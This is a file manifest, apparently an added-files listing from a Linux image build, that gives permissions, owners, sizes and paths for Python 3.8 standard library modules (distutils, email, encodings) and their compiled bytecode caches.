+-rw-r--r-- root root 6913 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3423 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6913 ./usr/lib/python3.8/distutils/__pycache__/extension.cpython-38.pyc
+-rw-r--r-- root root 10502 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7699 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10646 ./usr/lib/python3.8/distutils/__pycache__/fancy_getopt.cpython-38.pyc
+-rw-r--r-- root root 9767 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6896 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9857 ./usr/lib/python3.8/distutils/__pycache__/filelist.cpython-38.pyc
+-rw-r--r-- root root 5923 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3786 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5923 ./usr/lib/python3.8/distutils/__pycache__/file_util.cpython-38.pyc
+-rw-r--r-- root root 374 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 192 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 374 ./usr/lib/python3.8/distutils/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 2305 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2244 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2305 ./usr/lib/python3.8/distutils/__pycache__/log.cpython-38.pyc
+-rw-r--r-- root root 17441 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 15820 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17500 ./usr/lib/python3.8/distutils/__pycache__/msvc9compiler.cpython-38.pyc
+-rw-r--r-- root root 13907 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14713 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12757 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13138 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13970 ./usr/lib/python3.8/distutils/__pycache__/_msvccompiler.cpython-38.pyc
+-rw-r--r-- root root 14713 ./usr/lib/python3.8/distutils/__pycache__/msvccompiler.cpython-38.pyc
+-rw-r--r-- root root 5096 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3792 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5096 ./usr/lib/python3.8/distutils/__pycache__/spawn.cpython-38.pyc
+-rw-r--r-- root root 12091 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8606 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12091 ./usr/lib/python3.8/distutils/__pycache__/sysconfig.cpython-38.pyc
+-rw-r--r-- root root 8429 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3331 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8429 ./usr/lib/python3.8/distutils/__pycache__/text_file.cpython-38.pyc
+-rw-r--r-- root root 6608 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6019 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6608 ./usr/lib/python3.8/distutils/__pycache__/unixccompiler.cpython-38.pyc
+-rw-r--r-- root root 15536 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9652 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15536 ./usr/lib/python3.8/distutils/__pycache__/util.cpython-38.pyc
+-rw-r--r-- root root 7256 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3971 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7301 ./usr/lib/python3.8/distutils/__pycache__/version.cpython-38.pyc
+-rw-r--r-- root root 5125 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2645 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5125 ./usr/lib/python3.8/distutils/__pycache__/versionpredicate.cpython-38.pyc
+-rw-r--r-- root root 242 ./usr/lib/python3.8/distutils/README
+-rw-r--r-- root root 7843 ./usr/lib/python3.8/distutils/spawn.py
+-rw-r--r-- root root 20390 ./usr/lib/python3.8/distutils/sysconfig.py
+-rw-r--r-- root root 12483 ./usr/lib/python3.8/distutils/text_file.py
+-rw-r--r-- root root 14696 ./usr/lib/python3.8/distutils/unixccompiler.py
+-rw-r--r-- root root 20892 ./usr/lib/python3.8/distutils/util.py
+-rw-r--r-- root root 5133 ./usr/lib/python3.8/distutils/versionpredicate.py
+-rw-r--r-- root root 12345 ./usr/lib/python3.8/distutils/version.py
+-rw-r--r-- root root 6027 ./usr/lib/python3.8/_dummy_thread.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email
+-rw-r--r-- root root 9561 ./usr/lib/python3.8/email/architecture.rst
+-rw-r--r-- root root 3558 ./usr/lib/python3.8/email/base64mime.py
+-rw-r--r-- root root 17128 ./usr/lib/python3.8/email/charset.py
+-rw-r--r-- root root 10672 ./usr/lib/python3.8/email/contentmanager.py
+-rw-r--r-- root root 8524 ./usr/lib/python3.8/email/_encoded_words.py
+-rw-r--r-- root root 1786 ./usr/lib/python3.8/email/encoders.py
+-rw-r--r-- root root 3647 ./usr/lib/python3.8/email/errors.py
+-rw-r--r-- root root 22780 ./usr/lib/python3.8/email/feedparser.py
+-rw-r--r-- root root 19975 ./usr/lib/python3.8/email/generator.py
+-rw-r--r-- root root 24102 ./usr/lib/python3.8/email/header.py
+-rw-r--r-- root root 20591 ./usr/lib/python3.8/email/headerregistry.py
+-rw-r--r-- root root 106460 ./usr/lib/python3.8/email/_header_value_parser.py
+-rw-r--r-- root root 1766 ./usr/lib/python3.8/email/__init__.py
+-rw-r--r-- root root 2135 ./usr/lib/python3.8/email/iterators.py
+-rw-r--r-- root root 47072 ./usr/lib/python3.8/email/message.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/mime
+-rw-r--r-- root root 1321 ./usr/lib/python3.8/email/mime/application.py
+-rw-r--r-- root root 2739 ./usr/lib/python3.8/email/mime/audio.py
+-rw-r--r-- root root 916 ./usr/lib/python3.8/email/mime/base.py
+-rw-r--r-- root root 1829 ./usr/lib/python3.8/email/mime/image.py
+-rw-r--r-- root root 0 ./usr/lib/python3.8/email/mime/__init__.py
+-rw-r--r-- root root 1317 ./usr/lib/python3.8/email/mime/message.py
+-rw-r--r-- root root 1621 ./usr/lib/python3.8/email/mime/multipart.py
+-rw-r--r-- root root 691 ./usr/lib/python3.8/email/mime/nonmultipart.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/mime/__pycache__
+-rw-r--r-- root root 1448 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.opt-1.pyc
+-rw-r--r-- root root 794 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1448 ./usr/lib/python3.8/email/mime/__pycache__/application.cpython-38.pyc
+-rw-r--r-- root root 2613 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1173 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2613 ./usr/lib/python3.8/email/mime/__pycache__/audio.cpython-38.pyc
+-rw-r--r-- root root 1030 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.opt-1.pyc
+-rw-r--r-- root root 706 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1030 ./usr/lib/python3.8/email/mime/__pycache__/base.cpython-38.pyc
+-rw-r--r-- root root 1893 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.opt-1.pyc
+-rw-r--r-- root root 816 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1893 ./usr/lib/python3.8/email/mime/__pycache__/image.cpython-38.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/email/mime/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1271 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.opt-1.pyc
+-rw-r--r-- root root 779 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1271 ./usr/lib/python3.8/email/mime/__pycache__/message.cpython-38.pyc
+-rw-r--r-- root root 1491 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.opt-1.pyc
+-rw-r--r-- root root 695 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1491 ./usr/lib/python3.8/email/mime/__pycache__/multipart.cpython-38.pyc
+-rw-r--r-- root root 753 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.opt-1.pyc
+-rw-r--r-- root root 618 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.opt-2.pyc
+-rw-r--r-- root root 753 ./usr/lib/python3.8/email/mime/__pycache__/nonmultipart.cpython-38.pyc
+-rw-r--r-- root root 1300 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.opt-1.pyc
+-rw-r--r-- root root 789 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1300 ./usr/lib/python3.8/email/mime/__pycache__/text.cpython-38.pyc
+-rw-r--r-- root root 1437 ./usr/lib/python3.8/email/mime/text.py
+-rw-r--r-- root root 17604 ./usr/lib/python3.8/email/_parseaddr.py
+-rw-r--r-- root root 5041 ./usr/lib/python3.8/email/parser.py
+-rw-r--r-- root root 15073 ./usr/lib/python3.8/email/_policybase.py
+-rw-r--r-- root root 10383 ./usr/lib/python3.8/email/policy.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/email/__pycache__
+-rw-r--r-- root root 3229 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1452 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3229 ./usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.pyc
+-rw-r--r-- root root 11416 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5087 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11453 ./usr/lib/python3.8/email/__pycache__/charset.cpython-38.pyc
+-rw-r--r-- root root 7337 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7337 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7337 ./usr/lib/python3.8/email/__pycache__/contentmanager.cpython-38.pyc
+-rw-r--r-- root root 5680 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3794 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5680 ./usr/lib/python3.8/email/__pycache__/_encoded_words.cpython-38.pyc
+-rw-r--r-- root root 1606 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1255 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1606 ./usr/lib/python3.8/email/__pycache__/encoders.cpython-38.pyc
+-rw-r--r-- root root 5899 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4467 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5899 ./usr/lib/python3.8/email/__pycache__/errors.cpython-38.pyc
+-rw-r--r-- root root 10484 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8821 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10636 ./usr/lib/python3.8/email/__pycache__/feedparser.cpython-38.pyc
+-rw-r--r-- root root 12476 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8777 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12476 ./usr/lib/python3.8/email/__pycache__/generator.cpython-38.pyc
+-rw-r--r-- root root 16433 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10809 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16433 ./usr/lib/python3.8/email/__pycache__/header.cpython-38.pyc
+-rw-r--r-- root root 21842 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16079 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.opt-2.pyc
+-rw-r--r-- root root 21894 ./usr/lib/python3.8/email/__pycache__/headerregistry.cpython-38.pyc
+-rw-r--r-- root root 79733 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 62861 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 79781 ./usr/lib/python3.8/email/__pycache__/_header_value_parser.cpython-38.pyc
+-rw-r--r-- root root 1685 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1060 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1685 ./usr/lib/python3.8/email/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 1914 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1294 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1914 ./usr/lib/python3.8/email/__pycache__/iterators.cpython-38.pyc
+-rw-r--r-- root root 37872 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21310 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.opt-2.pyc
+-rw-r--r-- root root 37872 ./usr/lib/python3.8/email/__pycache__/message.cpython-38.pyc
+-rw-r--r-- root root 12448 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9488 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12448 ./usr/lib/python3.8/email/__pycache__/_parseaddr.cpython-38.pyc
+-rw-r--r-- root root 5716 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2698 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5716 ./usr/lib/python3.8/email/__pycache__/parser.cpython-38.pyc
+-rw-r--r-- root root 14804 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5976 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14804 ./usr/lib/python3.8/email/__pycache__/_policybase.cpython-38.pyc
+-rw-r--r-- root root 9652 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3437 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9652 ./usr/lib/python3.8/email/__pycache__/policy.cpython-38.pyc
+-rw-r--r-- root root 7672 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4199 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7672 ./usr/lib/python3.8/email/__pycache__/quoprimime.cpython-38.pyc
+-rw-r--r-- root root 9541 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6212 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9541 ./usr/lib/python3.8/email/__pycache__/utils.cpython-38.pyc
+-rw-r--r-- root root 9858 ./usr/lib/python3.8/email/quoprimime.py
+-rw-r--r-- root root 13488 ./usr/lib/python3.8/email/utils.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/encodings
+-rw-r--r-- root root 15693 ./usr/lib/python3.8/encodings/aliases.py
+-rw-r--r-- root root 1248 ./usr/lib/python3.8/encodings/ascii.py
+-rw-r--r-- root root 1533 ./usr/lib/python3.8/encodings/base64_codec.py
+-rw-r--r-- root root 1039 ./usr/lib/python3.8/encodings/big5hkscs.py
+-rw-r--r-- root root 1019 ./usr/lib/python3.8/encodings/big5.py
+-rw-r--r-- root root 2249 ./usr/lib/python3.8/encodings/bz2_codec.py
+-rw-r--r-- root root 2084 ./usr/lib/python3.8/encodings/charmap.py
+-rw-r--r-- root root 13121 ./usr/lib/python3.8/encodings/cp037.py
+-rw-r--r-- root root 13568 ./usr/lib/python3.8/encodings/cp1006.py
+-rw-r--r-- root root 13113 ./usr/lib/python3.8/encodings/cp1026.py
+-rw-r--r-- root root 34597 ./usr/lib/python3.8/encodings/cp1125.py
+-rw-r--r-- root root 13105 ./usr/lib/python3.8/encodings/cp1140.py
+-rw-r--r-- root root 13686 ./usr/lib/python3.8/encodings/cp1250.py
+-rw-r--r-- root root 13361 ./usr/lib/python3.8/encodings/cp1251.py
+-rw-r--r-- root root 13511 ./usr/lib/python3.8/encodings/cp1252.py
+-rw-r--r-- root root 13094 ./usr/lib/python3.8/encodings/cp1253.py
+-rw-r--r-- root root 13502 ./usr/lib/python3.8/encodings/cp1254.py
+-rw-r--r-- root root 12466 ./usr/lib/python3.8/encodings/cp1255.py
+-rw-r--r-- root root 12814 ./usr/lib/python3.8/encodings/cp1256.py
+-rw-r--r-- root root 13374 ./usr/lib/python3.8/encodings/cp1257.py
+-rw-r--r-- root root 13364 ./usr/lib/python3.8/encodings/cp1258.py
+-rw-r--r-- root root 14132 ./usr/lib/python3.8/encodings/cp273.py
+-rw-r--r-- root root 12055 ./usr/lib/python3.8/encodings/cp424.py
+-rw-r--r-- root root 34564 ./usr/lib/python3.8/encodings/cp437.py
+-rw-r--r-- root root 13121 ./usr/lib/python3.8/encodings/cp500.py
+-rw-r--r-- root root 13686 ./usr/lib/python3.8/encodings/cp720.py
+-rw-r--r-- root root 34681 ./usr/lib/python3.8/encodings/cp737.py
+-rw-r--r-- root root 34476 ./usr/lib/python3.8/encodings/cp775.py
+-rw-r--r-- root root 34105 ./usr/lib/python3.8/encodings/cp850.py
+-rw-r--r-- root root 35002 ./usr/lib/python3.8/encodings/cp852.py
+-rw-r--r-- root root 33850 ./usr/lib/python3.8/encodings/cp855.py
+-rw-r--r-- root root 12423 ./usr/lib/python3.8/encodings/cp856.py
+-rw-r--r-- root root 33908 ./usr/lib/python3.8/encodings/cp857.py
+-rw-r--r-- root root 34015 ./usr/lib/python3.8/encodings/cp858.py
+-rw-r--r-- root root 34681 ./usr/lib/python3.8/encodings/cp860.py
+-rw-r--r-- root root 34633 ./usr/lib/python3.8/encodings/cp861.py
+-rw-r--r-- root root 33370 ./usr/lib/python3.8/encodings/cp862.py
+-rw-r--r-- root root 34252 ./usr/lib/python3.8/encodings/cp863.py
+-rw-r--r-- root root 33663 ./usr/lib/python3.8/encodings/cp864.py
+-rw-r--r-- root root 34618 ./usr/lib/python3.8/encodings/cp865.py
+-rw-r--r-- root root 34396 ./usr/lib/python3.8/encodings/cp866.py
+-rw-r--r-- root root 32965 ./usr/lib/python3.8/encodings/cp869.py
+-rw-r--r-- root root 12595 ./usr/lib/python3.8/encodings/cp874.py
+-rw-r--r-- root root 12854 ./usr/lib/python3.8/encodings/cp875.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp932.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp949.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/cp950.py
+-rw-r--r-- root root 1051 ./usr/lib/python3.8/encodings/euc_jis_2004.py
+-rw-r--r-- root root 1051 ./usr/lib/python3.8/encodings/euc_jisx0213.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/euc_jp.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/euc_kr.py
+-rw-r--r-- root root 1031 ./usr/lib/python3.8/encodings/gb18030.py
+-rw-r--r-- root root 1027 ./usr/lib/python3.8/encodings/gb2312.py
+-rw-r--r-- root root 1015 ./usr/lib/python3.8/encodings/gbk.py
+-rw-r--r-- root root 1508 ./usr/lib/python3.8/encodings/hex_codec.py
+-rw-r--r-- root root 13475 ./usr/lib/python3.8/encodings/hp_roman8.py
+-rw-r--r-- root root 1011 ./usr/lib/python3.8/encodings/hz.py
+-rw-r--r-- root root 9170 ./usr/lib/python3.8/encodings/idna.py
+-rw-r--r-- root root 5588 ./usr/lib/python3.8/encodings/__init__.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_1.py
+-rw-r--r-- root root 1073 ./usr/lib/python3.8/encodings/iso2022_jp_2004.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_2.py
+-rw-r--r-- root root 1061 ./usr/lib/python3.8/encodings/iso2022_jp_3.py
+-rw-r--r-- root root 1069 ./usr/lib/python3.8/encodings/iso2022_jp_ext.py
+-rw-r--r-- root root 1053 ./usr/lib/python3.8/encodings/iso2022_jp.py
+-rw-r--r-- root root 1053 ./usr/lib/python3.8/encodings/iso2022_kr.py
+-rw-r--r-- root root 13589 ./usr/lib/python3.8/encodings/iso8859_10.py
+-rw-r--r-- root root 12335 ./usr/lib/python3.8/encodings/iso8859_11.py
+-rw-r--r-- root root 13271 ./usr/lib/python3.8/encodings/iso8859_13.py
+-rw-r--r-- root root 13652 ./usr/lib/python3.8/encodings/iso8859_14.py
+-rw-r--r-- root root 13212 ./usr/lib/python3.8/encodings/iso8859_15.py
+-rw-r--r-- root root 13557 ./usr/lib/python3.8/encodings/iso8859_16.py
+-rw-r--r-- root root 13176 ./usr/lib/python3.8/encodings/iso8859_1.py
+-rw-r--r-- root root 13404 ./usr/lib/python3.8/encodings/iso8859_2.py
+-rw-r--r-- root root 13089 ./usr/lib/python3.8/encodings/iso8859_3.py
+-rw-r--r-- root root 13376 ./usr/lib/python3.8/encodings/iso8859_4.py
+-rw-r--r-- root root 13015 ./usr/lib/python3.8/encodings/iso8859_5.py
+-rw-r--r-- root root 10833 ./usr/lib/python3.8/encodings/iso8859_6.py
+-rw-r--r-- root root 12844 ./usr/lib/python3.8/encodings/iso8859_7.py
+-rw-r--r-- root root 11036 ./usr/lib/python3.8/encodings/iso8859_8.py
+-rw-r--r-- root root 13156 ./usr/lib/python3.8/encodings/iso8859_9.py
+-rw-r--r-- root root 1023 ./usr/lib/python3.8/encodings/johab.py
+-rw-r--r-- root root 13779 ./usr/lib/python3.8/encodings/koi8_r.py
+-rw-r--r-- root root 13193 ./usr/lib/python3.8/encodings/koi8_t.py
+-rw-r--r-- root root 13762 ./usr/lib/python3.8/encodings/koi8_u.py
+-rw-r--r-- root root 13723 ./usr/lib/python3.8/encodings/kz1048.py
+-rw-r--r-- root root 1264 ./usr/lib/python3.8/encodings/latin_1.py
+-rw-r--r-- root root 36467 ./usr/lib/python3.8/encodings/mac_arabic.py
+-rw-r--r-- root root 14102 ./usr/lib/python3.8/encodings/mac_centeuro.py
+-rw-r--r-- root root 13633 ./usr/lib/python3.8/encodings/mac_croatian.py
+-rw-r--r-- root root 13454 ./usr/lib/python3.8/encodings/mac_cyrillic.py
+-rw-r--r-- root root 15170 ./usr/lib/python3.8/encodings/mac_farsi.py
+-rw-r--r-- root root 13721 ./usr/lib/python3.8/encodings/mac_greek.py
+-rw-r--r-- root root 13498 ./usr/lib/python3.8/encodings/mac_iceland.py
+-rw-r--r-- root root 14118 ./usr/lib/python3.8/encodings/mac_latin2.py
+-rw-r--r-- root root 13661 ./usr/lib/python3.8/encodings/mac_romanian.py
+-rw-r--r-- root root 13480 ./usr/lib/python3.8/encodings/mac_roman.py
+-rw-r--r-- root root 13513 ./usr/lib/python3.8/encodings/mac_turkish.py
+-rw-r--r-- root root 1211 ./usr/lib/python3.8/encodings/mbcs.py
+-rw-r--r-- root root 1019 ./usr/lib/python3.8/encodings/oem.py
+-rw-r--r-- root root 13519 ./usr/lib/python3.8/encodings/palmos.py
+-rw-r--r-- root root 14015 ./usr/lib/python3.8/encodings/ptcp154.py
+-rw-r--r-- root root 6881 ./usr/lib/python3.8/encodings/punycode.py
+drwxr-xr-x root root 24576 ./usr/lib/python3.8/encodings/__pycache__
+-rw-r--r-- root root 6320 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5728 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6320 ./usr/lib/python3.8/encodings/__pycache__/aliases.cpython-38.pyc
+-rw-r--r-- root root 1871 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1725 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1871 ./usr/lib/python3.8/encodings/__pycache__/ascii.cpython-38.pyc
+-rw-r--r-- root root 2285 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2110 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2389 ./usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.pyc
+-rw-r--r-- root root 1399 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1399 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1399 ./usr/lib/python3.8/encodings/__pycache__/big5.cpython-38.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1409 ./usr/lib/python3.8/encodings/__pycache__/big5hkscs.cpython-38.pyc
+-rw-r--r-- root root 3190 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2894 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3280 ./usr/lib/python3.8/encodings/__pycache__/bz2_codec.cpython-38.pyc
+-rw-r--r-- root root 2881 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2587 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2881 ./usr/lib/python3.8/encodings/__pycache__/charmap.cpython-38.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2280 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2412 ./usr/lib/python3.8/encodings/__pycache__/cp037.cpython-38.pyc
+-rw-r--r-- root root 2488 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2363 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2488 ./usr/lib/python3.8/encodings/__pycache__/cp1006.cpython-38.pyc
